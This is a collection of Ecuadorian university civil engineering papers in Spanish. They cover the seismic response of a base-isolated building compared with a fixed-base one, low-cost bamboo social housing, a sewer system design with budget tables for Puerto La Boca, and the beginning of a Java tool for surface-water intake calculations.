Se analizo un edificio de diez pisos resistente a carga lateral basado en pórticos con simetría en planta y en elevación, implantado en todos los suelos del Ecuador de tipo A, B, C, D, E; no se toma en cuenta los posibles efectos de la cimentación ya que el objetivo de este trabajo es comparar el comportamiento sísmico de las estructuras convencionales (empotradas) con respecto a las diseñadas con los sistemas de aislación basal.

La geometría en planta del edificio en el sentido X consta seis pórticos resistentes a momentos con luces entre ejes de 5.00 m, en el sentido Y consta de pórticos resistentes a momento con luces entre ejes de 6.00 m, con una altura entre piso de 3.20 m, para mejor claridad de las medidas se presenta un modelo típico en planta en la figura. 1.

Figura 1. Vista en planta del edificio analizado

Se considero para el análisis de la super estructura tanto empotrada como aislada una sobrecarga muerta de 0.478 kg/m^2 y carga una carga viva 0.250 kg/m^2 ; para todos los elementos estructurales una resistencia del hormigón $f'_c = 280 \text{ kg/cm}^2$, fluencia del acero de refuerzo $F_y = 4200 \text{ kg/cm}^2$, módulo de elasticidad del hormigón $E_c = 14000\sqrt{f'_c} = 234264.807 \text{ kg/cm}^2$, módulo de elasticidad del acero de refuerzo $E_s = 2'038000 \text{ kg/cm}^2$, sección de vigas de $0.30\text{m} \times 0.60\text{m}$, sección de columnas de $0.80\text{m} \times 0.80\text{m}$, losa bidireccional aligerada $e = 0.25\text{m}$.

Para el sistema de aislación se consideró un aislador elastomérico con núcleo de plomo (LRB), en la tabla 1.a. se presentan las dimensiones y propiedades del dispositivo; en la tabla 1.b. los parámetros que influyen en el diagrama de histéresis de dicho aislador, siguiendo las recomendaciones de [2]. Cabe mencionar que para el cálculo del peso sísmico se utilizará el 100% de la carga muerta más el 25% de la carga viva, propuesto por las normas antes mencionadas.

Tabla 1.a. Dimensiones y propiedades del aislador elastomérico

Diámetro Exterior (D_e)	75	cm
Diámetro Exterior (D_i)	10	cm
Espesor de una Capa de Goma (t_r)	0.5	cm
Espesor de la Placa Shim de Acero (t_s)	0.2	cm
Altura Total de las Gomas (H_r)	32.5	cm
Espesor de las Placas Exteriores (t_{bp} , t_{tp})	3	cm
Módulo de Corte Efectivo de la Goma (G)	3	kg/cm^2
Módulo Volumétrico de la Goma (K)	20000	kg/cm^2
Esfuerzo de Corte del Plomo (T_y)	80	kg/cm^2
Deformación por Corte Máximo (Y_s)	100	%

Tabla 1.b. Parámetros del diagrama de histéresis

Fuerza Característica (Q)	6.283	Ton
Rigidez Postfluencia (k_p)	40.055	Ton/m
Desplazamiento de Fluencia (D_y)	0.025	m
Fuerza de Fluencia (F_y)	7.285	Ton
Rigidez Elástica (k_e)	291.383	Ton/m

Rigidez Efectiva (k_{eff})	61.721	Ton/m
Energía Disipada (ED)	199.805	Ton-m
Amortiguamiento Efectivo Calculado (B_{eff})	0.204	%

Métodos

Se realiza un análisis estático basado en fuerzas como modo de prediseño, un análisis dinámico de respuesta espectral para tener una idea de las características dinámicas de los edificios, para el edificio con su base empotrada se utiliza la Norma Ecuatoriana de la construcción Nec-2015 [3] y para el edificio con el sistema de aislación sísmica se utiliza la Nohp Recommended Provisions for Seismic Regulations for new Buildings and Other Structures FEMA-450.[4]. Los modelos matemáticos de los edificios son en 3D usando el software Etabs versión 2013, los parámetros, demandas y combinaciones se utilizarán los propuestos por las normas antes mencionadas.

RESULTADOS

Relación de periodos fundamentales

El periodo fundamental de nuestras estructuras aisladas se las diseño con un periodo objetivo lo más cercano a 4.00 seg y el edificio empotrado con un periodo de 1.32 seg; a continuación, en la tabla 2, se presenta la relación de periodos de los edificios empotrados versus aislados.

Tabla 2. Relación de periodos

Suelo Tipo	Emp T (s)	LRB T (s)	Relación EMP-LRB
A	1.31	4.28	3.27
B	1.31	4.28	3.27
C	1.31	4.09	3.12
D	1.31	3.93	3.00
E	1.31	3.83	2.92

Cortantes de pisos y cortantes basales

Se observa en la tabla 3, los valores del cortante basal en sentido X (por ser los más críticos), son muy parecidos en los edificios aislados versus empotrados, apenas hay una reducción de las fuerzas laterales con el sistema de aislación (LRB) aproximadamente del 5% (promedio). En el suelo tipo E observamos algo muy particular, no se redujeron las fuerzas sísmicas en los sistemas de aislación, al contrario, se magnificaron, produciendo fuerzas laterales mayores.

Tabla 3. Reducción de cortantes basales

Suelo Tipo	Emp V (Ton)	LRB V (Ton)	Reducción (%)
A	293.36	293.13	0.08%
B	325.82	290.76	10.76%
C	559.37	528.84	5.46%
D	661.86	649.25	1.91%
E	820.93	928.96	N/A

Desplazamientos máximos

Observamos en la tabla 4, los valores de los desplazamientos máximos en sentido X (por ser los más críticos), en los edificios aislados versus empotrados, hay una reducción de los desplazamientos laterales con el sistema de aislación (LRB) aproximadamente del 17% (promedio).

Tabla 4. Desplazamientos

Suelo Tipo	Emp Desplaz (cm)	LRB Desplaz (cm)	Reducción (%)
A	2.40	2.10	12.50%
B	2.60	2.00	23.08%
C	4.70	3.70	21.28%
D	5.70	4.50	21.05%
E	7.20	6.40	11.11%

Derivas de piso

Las derivas de piso tuvieron una reducción aproximadamente 50% (promedio), como se muestra en la tabla 5.

Tabla 5. Derivas de piso

Suelo Tipo	Emp Deriva (%)	LRB Deriva (%)	Reducción (%)	FPS Deriva (%)	Reducción (%)
A	0.74%	0.31%	58.16%	0.35%	52.90%
B	0.82%	0.31%	62.58%	0.35%	57.96%
C	1.47%	0.56%	61.71%	0.60%	58.98%
D	1.76%	0.69%	60.80%	0.77%	56.18%
E	2.00%	0.99%	50.70%	1.05%	47.60%

CONCLUSIONES

Dos factores muy importantes a tener en cuenta en el análisis dinámico de estructuras aisladas, el primero es el periodo de vibración que está en función de su rigidez y la masa; el segundo es la frecuencia de excitación del suelo, ambos valores deben ser totalmente diferentes para que no se produzca el fenómeno conocido como resonancia.

Se recomienda para usos prácticos tener aisladores que tengan las mismas características, formas y dimensiones ya que resulta más económico debido al ahorro que se genera al no tener que hacer pruebas costosas para cada dispositivo previo a su diseño final.

En el análisis modal espectral de los edificios aislados independientemente de su configuración estructural se observa que los periodos de vibración están muy cercanos al periodo objetivo siendo los tres primeros modos muy parecidos entre sí, los dos primeros modos son traslacionales y el tercer modo torsional; se obtuvo un porcentaje del 99% de masas participativas en sentido X, en el primer modo de vibración, en cambio en los edificios empotrados se obtuvo el 93% de masas participativas en sentido X en el séptimo modo de vibración.

Algo muy particular se puede observar en la tabla 3, en el tipo de suelo E para el edificio aislados, independientemente de su configuración estructural y de su sistema de aislación; se magnificaron fuerzas cortantes y desplazamientos, este fenómeno se debe especialmente a que estos tipos de suelos tienen frecuencias de excitación bajas produciendo amplificación y resultados indeseables.

REFERENCIAS BIBLIOGRÁFICAS

- [2] Aguiar, R. (2008). Análisis Sísmico de Edificios. Quito: Centro de Investigaciones Científicas.
- [3] I. Kalpakidis, M. C. Constantinou, A. Filiatrault, & R.A. Ecker Lay. (2011). LRFD-Based Analysis and Design Procedures for Bridge Bearings and Seismic Isolators. Technical Report.
- [4] Norma Ecuatoriana de la Construcción, NEC. (2015). Peligro Sísmico y Requisitos de Diseño Sismo Resistente. Quito: Capítulo II.
- [5] FEMA-450. (2003). NEHRP Recommended Provisions for Seismic Regulations for New Buildings and Other Structures. Washington, D.C.
- [6] Villavicencio, E. (2016). Análisis Sísmico de Edificios con Aisladores de Base. España: Editorial Academica española.

**DISEÑO DE VIVIENDA DE INTERÉS SOCIAL UTILIZANDO MATERIALES
ALTERNATIVOS Y SEGUROS - CIUDELA MANUEL INOCENCIO PARRALES Y
GUALE, CANTÓN JIPIJAPA**

Ing. Glider Nunilo Parrales Cantos Mg.

Ing. Byron Patricio Baque Camposano Mg.

Ing. Gabriela Noemi Indacochea Baque

Srta. Maria Alejandra Menendez Meza

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

Correo: alejandra_menendez97@outlook.com

RESUMEN

El Diseño de vivienda se lo realizó con materiales alternativos y seguros para interés social; por el costo económico, arquitectura e ingeniería, ya que no solo se basa en solucionar la forma de obtener una vivienda digna sino también la calidad de aquella, distribuyendo el área y proyectando los espacios adecuados, un estudio de suelo, y un sistema amigable con el ambiente. La vivienda se diseñó con normas técnicas para que sea sismo resistente a eventos naturales.

Este proyecto tuvo como objeto el bienestar de familias pequeñas con grandes ilusiones, y recursos económicos limitados conociendo diseños de viviendas funcionales.

SUMMARY

Housing design was carried out with alternative and safe materials for social interest; for the economic cost, architecture and engineering, since it is not only based on solving the way to obtain a decent home but also the quality of that, distributing the area and projecting the appropriate spaces, a study of land, and a friendly system with the environment. The house was designed with technical standards to make it earthquake resistant to natural events.

The purpose of this project was the welfare of small families with great illusions, and limited economic resources knowing functional housing designs.

INTRODUCCIÓN

En el cantón se ha producido un grave problema en cuanto a la utilización de materiales comunes que encarece la edificación llevándoles a tal punto que se utilicen materiales alternativos contribuyendo así a preservar la vida minimizando el impacto ambiental. Es por esto que la selección de materiales constructivos de viviendas para interés social debe verse reflejado en la sostenibilidad de la misma vivienda de acuerdo a factores climáticos, cualidades

de los materiales a utilizar y funcionalidad óptima; satisfaciendo las necesidades actuales de la población sin comprometer la capacidad de las generaciones futuras.

OBJETIVO GENERAL

- Diseñar una vivienda de interés social utilizando materiales alternativos y seguros - Ciudadela Manuel Inocencio Parrales Y Guale, Cantón Jipijapa para el mejoramiento de la calidad de vida de los habitantes del sector.

OBJETIVOS ESPECIFICOS

- Determinar la capacidad admisible del suelo en el sitio del proyecto en estudio.
- Analizar los materiales alternativos y seguros a utilizar en el diseño de la vivienda de categoría baja.
- Diseñar la vivienda con la utilización de materiales alternativos y seguros.
- Elaborar el presupuesto de la vivienda.

OBJETIVO 1

- Determinar la capacidad admisible del suelo en el sitio del proyecto en estudio

Como resultado se obtuvo que, el suelo de la zona en estudio a una profundidad de 6,00 m presenta una capacidad portante admisible de diseño menor a 2 kg/cm², y se encontró los siguientes tipos de suelos: Limo baja plasticidad (ML), arcilla media plasticidad (CL), arena limosa (SM), limo alta plasticidad (MH), arcilla limosas (SM), y arcilla alta plasticidad (CH). En todo el perfil el nivel freático está muy cerca de la superficie con valores variables de 0,62 a 3,60 metros de profundidad, los suelos de la zona de estudio no son susceptibles a la licuefacción y pertenecen a suelos tipo D y E según la tabla de categorías de suelos de NEC de peligro Sísmico.

OBJETIVO 2

- Analizar los materiales alternativos y seguros a utilizar en el diseño de la vivienda de categoría baja.

Los materiales escogidos para el diseño de vivienda de uso social son los siguientes:

- Bambú - Guadua
- Planchas procesadas de bambú - guadua
- Hormigón Armado
- Perfiles metálicos
- Dura techo

Este proyecto de investigación permite experimentar las posibilidades de transformación de las cañas de bambú en elementos estructurales, fueron propuestos en un diseño de vivienda con lo que se puede entender cómo se comporta el material en función de su disposición estructural y sus posibilidades espacial. Permite conocer las propiedades físicas de la guadua o bambú, es muy importante porque podemos comprender los esfuerzos que tienen que soportar estos elementos cuando estén dispuestos en una estructura auto portante.

Permite conocer las propiedades físicas de la guadua o bambú, es muy importante porque podemos comprender los esfuerzos que tienen que soportar estos elementos cuando estén dispuestos en una estructura auto portante.

El uso de materiales alternativos para el alcance de todas las personas, es satisfactorio así como la caña guadua – bambú; se pueden utilizar con tan solo darles un proceso de curado y de elaboración de materia prima creando la caña rolliza en láminas para formar las mamposterías, columnas compuestas con la caña rolliza y relleno de hormigón; los perfiles que también son fáciles de utilizar y de soldar para vigas y luego techar con una material ligero, comúnmente se utiliza el zinc este depende del clima que haya en la zona; además de la cimentación que es de hormigón armado diseñado para vivienda de una sola planta.

OBJETIVO 3

Diseñar La Vivienda Con La Utilización De Materiales Alternativos Y Seguros.

La vivienda tiene un área de 96m².

OBJETIVO 4:

Elaborar el presupuesto de la vivienda.

La vivienda tiene un costo de 14541,68; catorce mil quinientos cuarenta y uno, 68/100 dólares.

MATERIALES Y METODO

Los materiales principales a utilizar en el diseño de la vivienda son:

- Caña guadua – bambú rollizo: utilizada para las columnas compuestas.
- Caña guadua – bambú laminado: utilizada en plancha o lámina para mamposterías.
- Hormigón: material común que se utiliza para la cimentación.
- Perfiles: material de hierro que se utiliza para vigas laterales y transversales.
- Techo: este material dependerá del clima en la zona a estudiar, comúnmente se utiliza el zinc.

MÉTODOS:

- De campo
- Deductivo – Inductivo

RESULTADOS Y DISCUSIÓN

Antes de hacer un diseño y construcción de una edificación o estructuras se debe realizar el estudio topográfico y las características físicas y mecánicas del suelo para definir su respectiva utilización y sea de interés social.

La implementación de materiales alternativos en diseño y construcción sea un eje principal en el desarrollo de viviendas de bajo costo, ya que la utilización de materiales alternativos como la madera, caña, barro, arcilla, botellas de plásticos, entre otros, cumplen con los requisitos técnicos y económicos para proyectos de vivienda con bajo costo

Al elaborar proyectos de diseños de viviendas confortables y seguros con normas técnicas para mejorar la calidad de viviendas teniendo más coordinación y asesorías por parte de técnicos promoviendo así el bienestar de las personas.

Usar materiales de bajo costo sin perjudicar la salud de las personas y al medio ambiente, que estén alcance de las familias con menos recurso económico para así tener un mejor bienestar familiar o buen vivir.

CONCLUSIONES

Se realizó la identificación de las características físicas y mecánicas del suelo en la ciudadela Manuel Inocencio Parrales Y Guale de la ciudad de Jipijapa - Provincia de Manabí para definir su utilización en edificaciones de categoría baja o interés social, mediante la clasificación de suelos (SUCS) y la capacidad portante del suelo.

Este estudio ha permitido conocer factores alternativos y soluciones más adecuadas a los problemas que se suscitan en el diseño y construcción de viviendas, el cual demanda recursos para la vida útil, y es fundamental las alternativas de materiales para disminuir la dependencia tradicional, para que la vivienda tenga sostenibilidad. En el caso de la Caña Guadua – Bambú es muy resistente en cuanto a columnas y mampostería en tratamiento prefabricado. Los perfiles de hierro son sismo resistente que se adaptan a cualquier diseño, fáciles de manipular. Y en cuanto al hormigón en cimientos es una estructura común y segura de conocimiento de todos.

En el diseño de la vivienda presentada se consideran normas técnicas para el proceso constructivo identificando el área de estudio (las zonas de riesgos y zonas seguras), el diseño propuesto de vivienda es confortable y seguro de acuerdo al estudio de suelo que se realizado en el sitio.

De acuerdo con la utilización de materiales, este tipo de diseño resulta económico por metro cuadrado de construcción, es decir de bajo costo que estaría al alcance de las familias con

menos ingreso económico que otras viviendas diseñadas con material seguro y con menos área de construcción.

RECOMENDACIONES

Se recomienda como normativa que antes de hacer un diseño y construcción de una edificación o estructuras se debe realizar el estudio topográfico y las características físicas y mecánicas del suelo para definir su respetiva utilización y sea de interés social. -La implementación de materiales alternativos en diseño y construcción es un eje principal en el desarrollo de viviendas de bajo costo, ya que la utilización de materiales alternativos como la madera, caña, barro, arcilla, botellas de plásticos, entre otros, cumplen con los requisitos técnicos y económicos para proyectos de vivienda con bajo costo ya que en la mayoría de casos el factor económico es el que posibilita a las familias tener una vivienda digna.

Se recomienda elaborar proyectos de diseños de viviendas confortables y seguros con normas técnicas para mejorar la calidad de viviendas teniendo más coordinación y asesorías por parte de técnicos promoviendo así el bienestar de las personas.

Se recomienda que se usen materiales de bajo costo sin perjudicar la salud de las personas y al medio ambiente, que estén alcance de las familias con menos recurso económico para así tener un mejor bienestar familiar o buen vivir.

REFERENCIAS BIBLIOGRÁFICAS

Normas Ecuatorianas de Construcción NEC. 2015. *Cargas no sismicas*. Quito : s.n., 2015.

Montoya, Vladimir. 2015. *Uso del bambú como material de construcción en estructuras no convencionales en la ciudad de Huancayo*. Perú : Universidad Continental, 2015

Ministerio de Vivienda, Construcción y Saneamiento de Perú. 2011 . *Proyecto Normativo para Diseño y Construcción con Bambú*. Perú : s.n., 2011

DISEÑO DEL SISTEMA DE ALCANTARILLADO SANITARIO, CON UNA PROPUESTA DE TRATAMIENTO, PARA LA COMUNA PUERTO LA BOCA, CANTÓN JIPIJAPA

Mg.Sc. Ing. EDUARDO LUCIANO PARRALES PARRALES

QUIROZ PARRALES ANGEL EDUARDO

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

eduparr_13@hotmail.com

angel_qui_par@hotmail.com

RESUMEN

La comuna Puerto La Boca del cantón Jipijapa, provincia de Manabí, población en la cual habitan 215 personas, quienes en su mayoría se dedican a la actividad de la pesca y la agricultura, otros trabajan en Puerto Cayo y en Jipijapa, en menor cantidad en ciudades como; Portoviejo y Manta. Este puerto es un lugar turístico y pesquero, como tal se encuentra en vías de desarrollo, una de las ausencias más notables son los servicios básicos, propiamente del alcantarillado sanitario, así como también las vías de acceso y las calles internas, las cuales se encuentran en pésimo estado, llenas de polvo y con poco o ningún mantenimiento por parte de las autoridades de turno.

Como uno de los factores para potenciador podemos encontrar el sistema de alcantarillado sanitario, todo esto con dos prioridades, las cuales son mejorar la calidad de vida de los habitantes y también la preservación del medio ambiente, la cual brindara una descarga óptima de las aguas tratadas al medio receptor (mar), de acuerdo a las normativas vigentes en el país.

Durante el estudio del proyecto realizaremos encuestas, levantamiento topográfico de la comuna, calculo hidráulico cumpliendo con parámetros, bases, normas y criterios de diseño de un sistema de aguas servidas. El proyecto determina el análisis y diseño del sistema de alcantarillado sanitario y una propuesta para la depuración de las aguas residuales, incluido presupuesto referencial.

Todo esto para poder otorgarle a la población de la comuna Puerto La Boca una mejor calidad de vida y potenciar el medio turístico, de acuerdo con lo establecido en el plan del buen vivir que exige el gobierno ecuatoriano a cada uno de los habitantes de nuestro país.

SUMMARY

The commune of Puerto La Boca of the Jipijapa county, province of Manabí, population in which 215 people live, most of them engaged in fishing and agriculture, others work in Puerto Cayo and Jipijapa, in smaller numbers in cities like; Portoviejo and Manta. This port is a tourist and fishing place, as such is in development, one of the most notable absences are the basic services, properly sanitary sewage, as well as access roads and internal streets, which are

located in bad condition, full of dust and with little or no maintenance on the part of the authorities in charge. As one of the factors for enhancer we can find the sanitary sewer system, all this with two priorities, which are to improve the quality of life of the inhabitants and also the preservation of the environment, which will provide an optimal discharge of treated water to the receiving environment (sea), according to the regulations in force in the country. During the study of the project we will carry out surveys, topographic survey of the commune, hydraulic calculation complying with parameters, bases, norms and design criteria of a sewage system. The project determines the analysis and design of the sanitary sewer system and a proposal for the purification of wastewater, including referential budget. All this to be able to grant the population of the Puerto La Boca community a better quality of life and enhance the tourism environment, in accordance with the provisions of the good living plan that the Ecuadorian government requires of each of the inhabitants of our country.

INTRODUCCIÓN

Muchas ciudades están implementando varios sistemas constructivos de losas con luces de grandes dimensiones, con el fin de mejorar la infraestructura, reducir costos y darle una proporción de espacios más conveniente a las edificaciones.

El sistema de alcantarillado sanitario consiste en una serie de conductos subterráneos, los cuales son utilizados específicamente para, la recolección, evacuación en forma segura y eficiente de las aguas residuales producidas por los habitantes de una comunidad para ser transportadas a un lugar donde puedan ser tratadas y luego ser depositadas a un medio receptor como río, estero o mar.

La comuna Puerto La Boca está ubicada en la parroquia Puerto Cayo, la cual se encuentra dentro del territorio que pertenece al Cantón Jipijapa, podemos considerar como un sitio agrícola y pesquero en su mayoría ,en la actualidad la comuna Puerto La Boca no cuenta con el servicio de sistema de alcantarillado sanitario, lo cual se vuelve una constante en sectores rurales como este, sabiendo de la ausencia de este servicio fundamental el cual representa un factor preponderante para el desarrollo turístico dentro del sector, encontramos la necesidad de elaborar este proyecto con el fin de mitigar una crisis ambiental y de salud, con medidas que permitan la culminación del diseño del sistema de alcantarillado sanitario, tomando como principio los datos debidamente extraídos de los habitantes del sector.

Existen varios factores que facilitaran el estudio del diseño de alcantarillado sanitario en la comuna Puerto La Boca, uno de ellos es la topografía la cual cuenta con pendientes mínimas, también existe un estero que actuaría como medio receptor de las aguas residuales tratadas, que está ubicado al sentido norte de la comuna.

El presente proyecto tiene como propósito dar a conocer el diseño del sistema de alcantarillado sanitario, así como también una propuesta para el tratamiento de las aguas residuales en la comuna Puerto La Boca, con el objetivo de mejorar la calidad de vida de sus habitantes, las condiciones socioeconómicas y finalmente preservar el medio ambiente.

OBJETIVO GENERAL

Diseñar el sistema de alcantarillado sanitario, con una propuesta de tratamiento, para la comuna Puerto La Boca, Cantón Jipijapa.

OBJETIVOS ESPECIFICOS

- Elaborar el diseño de la Red de Alcantarillado Sanitario incluido propuesta de tratamiento para la depuración de las aguas residuales de la comuna Puerto La Boca.
- Realizar el respectivo levantamiento topográfico en el área de estudio.
- Determinar los parámetros de diseño del sistema de alcantarillado y planta de tratamiento.
- Realizar el presupuesto referencial para el diseño del sistema de alcantarillado sanitario y tratamiento de las aguas residuales la comuna Puerto La Boca.

OBJETIVO 1

Elaborar el diseño de la Red de Alcantarillado Sanitario incluido propuesta de tratamiento para la depuración de las aguas residuales de la comuna Puerto La Boca.

La comuna Puerto la Boca conocida popularmente como La Boca de Cayo, se encuentra ubicada a 40 minutos aproximadamente del cantón Jipijapa, y precisamente a 8 minutos al norte de la parroquia rural Puerto Cayo, de la cual forma parte.

De acuerdo con lo relatado por varios adultos mayores, los cuáles residen desde su infancia en este sector, los primeros habitantes quienes poblaron la comuna, los podemos encontrar hace aproximadamente unos 100 años, según recuerdan lo relatado por sus padres quienes fueron los pioneros en este sector.

Los habitantes de la comuna en la actualidad se benefician con un sistema de agua entubada, el cual proviene de la parroquia Cantagallo captada de pozos profundos, donde se extrae el agua por medio de bombas sumergibles para luego ser almacenada en dos tanques de reserva y posteriormente conducida a través de una red de tubería de PVC, este sistema de abastecimiento de agua fue implementada hace varios años, los habitantes de la comuna reciben el líquido vital de 3 a 4 veces por semana según relataron la mayor parte de sus moradores.

OBJETIVO 2

Realizar el respectivo levantamiento topográfico en el área de estudio.

OBJETIVO 3

Determinar los parámetros de diseño del sistema de alcantarillado y planta de tratamiento.

Los parámetros de diseño tienen como principal objetivo, proporcionar un conjunto de especificaciones básicas adecuadas para el desarrollo del diseño de un sistema de alcantarillado sanitario.

CALCULO DE LA TASA DE CAMBIO POBLACIONAL

AÑO	2001	2005	2010	2017
POBLACION	180	186	195	215
k ₁	2,19			
k ₂			2,42	
k ₃			2,86	
k promedio	2,49			

Tabla 10: Cálculo de Tasa Poblacional por Método de Progresión Aritmética

OBJETIVO 4

Realizar el presupuesto referencial para el diseño del sistema de alcantarillado sanitario y tratamiento de las aguas residuales la comuna Puerto La Boca.

En el presente proyecto se ha calculado el presupuesto referencial del sistema de alcantarillado sanitario y de la propuesta de tratamiento para la comuna Puerto La Boca, el cual asciende a un monto de:

\$ 142.152,44USD.

Para la propuesta de tratamiento de las aguas residuales.

Para el sistema de alcantarillado sanitario.

No.	RUBRO O ACTIVIDAD	P. TOTAL
1	REPLANTEO Y NIVELACIÓN	406,40
2	EXCAVACION MANUAL	1.103,87
3	EXCAVACION A MAQUINA	30.954,20
4	COLCHON DE ARENA PARA TUBERÍA e= 10 cm	1.231,36
5	SUMINISTRO E INSTALACION DE TUBERIA PVC 200 mm	29.155,33
6	POZO DE REVISION H= 2.00-4.50m. INCLUYE TAPA HF	4.635,00
7	SUMINISTRO E INSTALACION DE TUBERIA PVC 150mm	21.610,94
8	ACOMETID DOMICILIRIA DE ALCANTARILLADO INCLUYECAJETIN DE PVC.	6.785,06
9	RELLENO COMPACTADO CON MATERIAL DEL SITIO	21.782,17
10	DESAQLOJO DE MATERIAL DE EXCAVACION	3.885,99
US \$		121.550,32

No.	RUBRO O ACTIVIDAD	P. TOTAL
1	LIMPIEZA DEL TERRENO	36,60
2	NIVELACION Y REPLANTEO	96,30
3	EXCAVACION A MAQUINA Y DESALOJO	2.018,86
4	EXCAVACION MANUAL Y DESALOJO	69,81
5	ENTIBADO DE PROTECCION	964,49
6	RELLENO DE LASTRE COMPACTADO	74,76
7	RELLENO DE PIEDRA BOLA	116,49
8	REPLANTILLO DE H. SIMPLE F'C=140KG/CM² e= 5cm	243,19
9	HORMIGON ARMADO F'C=210KG/CM² PARA TANQUE SEPTICO Y FILTRO ANAEROBIO	4.232,49
10		787,19
11	ESCALINES DE HIERRO D=14mm	25,00
12	PORVISION Y COLOCACION DE GRAVA	196,94
13	TUBERIAS Y ACCESORIOS PARA TANQUE Y FILTRO ANAEROBIO	500,00
14	TAPA HORMIGON	240,00
		9.602,12
15	CASETA PARA BOMBA	1.000,00
16	ADQ. E INST. DE ELECTROBOMBA	10.000,00
TOTAL DEL PRESUPUESTO		US \$ 20.602,12

MATERIALES Y MÉTODOS

MATERIALES

- Equipos Topográficos
- Cinta.
- Cámara.
- Carta Topográfica

MÉTODOS:

- Método Bibliográfico.
- Observación
- Entrevista
- La Encuesta.

1. RESULTADOS Y DISCUSIÓN

El Tomando en consideración los siguientes parámetros, se realiza el cuadro de cálculo del diseño de la red de alcantarillado sanitario y la propuesta de tratamiento para la Comuna Puerto La Boca del Cantón Jipijapa.

2. CONCLUSIONES

- Mediante la utilización del software SEWER CAD se pudo lograr un diseño óptimo de las redes de alcantarillado sanitario para esta población.
- Los sistemas de alcantarillado sanitario y propuesta de estación para tratamiento de aguas residuales contribuyen a la mejora de la calidad de vida de quienes habitan en la comuna.
- Al combinar los tratamientos primarios y secundarios se garantiza una depuración más efectiva de las aguas residuales que se verterán al estero.

REFERENCIAS BIBLIOGRÁFICAS

-(2010). Obtenido de ECUADOR EN CIFRAS: <http://www.ecuadorencifras.gob.ec/anuario-de-nacimiento-y-defunciones/>

-Arboleda. (2012). En Diseño del sistema de alcantarillado sanitario y tratamiento de aguas residuales de pjal. Cantón Otavalo, Provincia de Imbabura.

-Basurto, A. R. (2017). Diseño del sistema de alcantarillado pluvial y sanitario con tratamiento de las aguas servidas para la parroquia San Pedro De Suma del cantón el Carmen- Manabí. Sangolqui.

-Bazan, J. (s.f.). Criterio de Diseño Urbano.

-BIBDIGITAL. (s.f.). Obtenido de <http://bibdigital.epn.edu.ec/handle/15000/4859>

-Castro, J. C. (2011). Diseño del Alcantarillado Sanitario y Pluvial y Tratamiento de Aguas Servidas 4 Lotizaciones Unidas (varios propietarios), del Cantón el Carmen. Quito.

MODELO PARA EL CÁLCULO HIDRÁULICO EN CAPTACIONES DE AGUAS SUPERFICIALES MEDIANTE UNA APLICACIÓN INFORMÁTICA

Karla Alexandra Gonzalez Molina

Murillo Baque Dante Stalin

Ing. Julio Johnny Regalado Jalca

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

mdondanthe@gmail.com

RESUMEN

El Diseño del modelo matemático para el cálculo hidráulico de captaciones en aguas superficiales mediante la utilización de una aplicación informática, se desarrolló con la finalidad de optimizar y facilitar los procesos de cálculos que se realizan de manera manual, logrando mejorar el rendimiento, control y la optimización de los procedimientos que se realizan para la captación de aguas superficiales.

Para la realización del sistema informático se utilizó como guía una estructura operativa mixta, combinando metodología analítica e informática, para el desarrollo de la aplicación se utilizaron diversas tecnologías como el lenguaje de programación JAVA, utilizando la plataforma de desarrollo NetBeans IDE.

De esta manera se pudo concluir que con la implantación del sistema los procesos de cálculos matemáticos se realizarán de manera fácil y ágil, generando un mejor desempeño en los resultados obtenidos para el diseño de captaciones de aguas superficiales.

PALABRAS CLAVE: NetBens IDE; aguas superficiales; modelo matemático; JAVA.

ABSTRACT

The design of a mathematical model of surface water collection using a computer application, was developed with the purpose of optimizing and facilitating the calculation processes that are performed manually, achieving improved performance, control and optimization of procedures that are perform for the capture of surface water.

For the realization of the computer system, a mixed operative structure was used as a guide, combining analytical and computerized methodology. For the development of the application, various technologies were used, such as the JAVA programming language, using the NetBeans IDE development platform.

In this way it was possible to conclude that with the implementation of the system the mathematical calculation processes will be carried out easily and agilely, generating a better performance in the results obtained for the design of surface water catchments.

KEYWORDS: NetBens IDE; surface water; mathematical model; JAVA.

INTRODUCCIÓN

A través de la historia, el hombre ha necesitado de un suministro adecuado de agua para su alimentación, seguridad y bienestar. El agua es una necesidad universal y es el principal factor limitante para la existencia de la vida humana.

La captación de agua de lluvia es un medio fácil de obtener agua para consumo humano y/o uso agrícola, por medio del punto o puntos de origen de las aguas para un abastecimiento, así como las obras de diferente naturaleza que deben realizarse para su recogida.

El Diseño del modelo matemático para el cálculo hidráulico de captaciones en aguas superficiales mediante la utilización de una aplicación informática consiste en la automatización de los procedimientos que se realizan para La captación de agua, los resultados que se obtienen parten desde la recolección y el almacenamiento de agua proveniente de diversas fuentes para uso benéfico.

Para la elaboración de modelo matemático se determinó los parámetros hidráulicos que se requieren para la captación de una cuenca la misma que es conducida a estanques reservorios puede aumentar significativamente el suministro de ésta, la misma que es utilizada para el riego de huertos, bebederos de animales, la acuicultura y usos domésticos.

Se utiliza en lugares donde la precipitación pluvial y la calidad de agua son adecuadas para estos fines. Al efecto, que las aguas lluvias son interceptadas, colectada y almacenada en depósitos para su posterior uso.

Las captaciones se realizarán por medio de obras de toma en el cauce o en las márgenes de las corrientes de agua, previo estudio hidrológico que justifique los caudales utilizables en el río o el arroyo.

Los Recursos Hídricos de la República del Ecuador están sujetos a una presión que es una función de la demanda del agua para satisfacer las múltiples necesidades que dependen de ella. En nuestro medio el diseño de captaciones de aguas superficiales se los realiza de manera analítica por lo que en ocasiones es una tarea ardua y tediosa, por eso se planteó un modelo matemático con la utilización del lenguaje de programación JAVA que permite gestionar y automatizar los cálculos para un mejor diseño.

MATERIALES Y MÉTODOS

Para este diseño vial de la ciudadela Renato Burgos, se utilizaron los métodos de investigación analítica e informática.

El método analítico se utilizó como elemento para determinar las causas, mediante el análisis, la observación, con el propósito de optimizar los procedimientos en el desarrollo del sistema de información, considerando la clasificación e interpretación de los cálculos empleados para el diseño de la aplicación.

RESULTADOS Y DISCUSIÓN

Para determinar los parámetros hidráulicos de una captación de agua superficial se consideró lo siguiente:

1. Diseño de reja de entrada

Grafico 1: Parámetros generales Rejilla

FUENTE: Dante Murillo, 2018

Tabla 10 Parámetros para diseño de reja de entrada

<u>Símbolo</u>	Descripción	Unidad
(vr)	Velocidad del río	m/s
(Hr)	Carga hidráulica del vertedero (aguas arriba)	m
(z)	Desnivel entre láminas libres (aguas arriba y aguas abajo del vertedero)	m
(P1)	Altura del umbral del vertedero (aguas arriba), medido desde el lecho del río	m
(P2)	Altura del umbral del vertedero (aguas abajo), medido desde la base del desripador	m
(K)	Coefficiente de contracción lateral de los barrotes	
(U)	Coefficiente de obturación del río	

(t)	Espesor de los barrote	m
